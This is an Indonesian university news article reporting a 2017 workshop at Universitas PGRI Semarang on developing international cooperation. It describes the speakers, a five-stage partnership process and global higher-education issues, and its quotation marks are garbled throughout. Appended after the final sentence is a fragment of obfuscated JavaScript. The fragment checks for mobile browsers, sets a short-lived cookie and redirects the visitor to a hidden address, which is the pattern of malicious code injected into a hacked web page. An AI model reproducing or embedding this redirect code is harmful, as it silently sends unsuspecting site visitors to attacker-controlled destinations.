Pergaulan di dunia internasional turut meningkatkan kualitas sebuah universitas. Hal ini bisa ditempuh melalui kerja sama dengan berbagai universitas di luar negeri. Melalui kerja sama tersebut, terbuka peluang untuk meyelenggarakan pertukaran mahasiswa, dosen, maupun proyek penelitian bersama. Dan yang pasti, ada banyak ilmu, informasi, dan pengalaman yang bisa dimanfaatkan untuk pengembangan universitas di dalam negeri.
Universitas PGRI Semarang, selama ini, terus meningkatkan kerja sama dengan kampus-kampus, baik dari kancah Asia Tenggara, Amerika, maupun Eropa. Hasil nyata dari kerja sama ini ialah program Praktik Pengalaman Lapangan (PPL) Luar Negeri, penelitian bersama antar universitas, jurnal ilmiah, internasional, serta pertukaran dosen.
Lantas, agar kerja sama internasional bisa semakin luas jangkauannya, Kantor Urusan Internasional UPGRIS berupaya memberikan pemahaman terkait urusan teknis, tahap-tahap, kriteria, serta kebijakan strategis, dalam memudahkan agenda merintis kerja sama internasional.
Untuk itu, Kantor Urusan Internasional UPGRIS menyelenggarakan Workshop Pengembangan Kerja Sama Internasional dan Penguatan Kelembagaan, di Gedung Pascasarjana lantai 5, (28 Juli 2017). Acara ini mengundang dua pembicara, yaitu Adhiral Refaddin, Ph.D. (Kepala Seksi Kerja SamaLuar Negeri Kemenristek Dikti), dan Rokhedi Priyo Santoso, S.E., MIDEC. (Deputi Head of Business and Economic Department International Program, UII).
ai???Workshop ini diselenggarakan agar para dosen dan pejabat di bidag akademis bisa memahami strategi yang kelak memudahkan membuka relasi di bidang internasional,ai??? ungkap Dr. Nur Hidayat, M.Hum, KepalaAi?? Urusan Internasional, saat menyampaikan sambutannya.
Hal yang sama juga ditegaskan oleh Rektor UPGRIS Dr. Muhdi, S.H., M.Hum. ai???UPGRIS memang terus berupaya menjalin banyak kerja sama internasional. Meski harus diakui banyak sekali kendala, salah satunya urusan pendanaan dan teknis. Dosen dan pejabat harus pandai-pandai menyasati ini,ai??? tukas Muhdi.
Dalam pembahasannya, Rokhedi Priyo Santoso menyampaikan setidaknya ada lima tahap yang harus dilalui saat menjalin relasi internasional, yaitu Kontak Awal, Pengenalan Program, Pemilihan Program, MoU dan MOA, serta Implementasi Program.
Sedangkan Adhiral Refaddin menekankan pentingnya penguasaan atas isu/masalah di dunia pendidikan. ai???Setidaknya sebelum menjalin kerja sama internasional, universitas harus paham isu atau masalah-masalah yang kini tengah dilanda duni pendidikan, terutama di lingkup global. Seperti misalnya Massification of Higher Education, Commercialization of Higher Education, Global Competition in Higher Education, dan yang terakhir Globalization of Higher Education. [] .b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}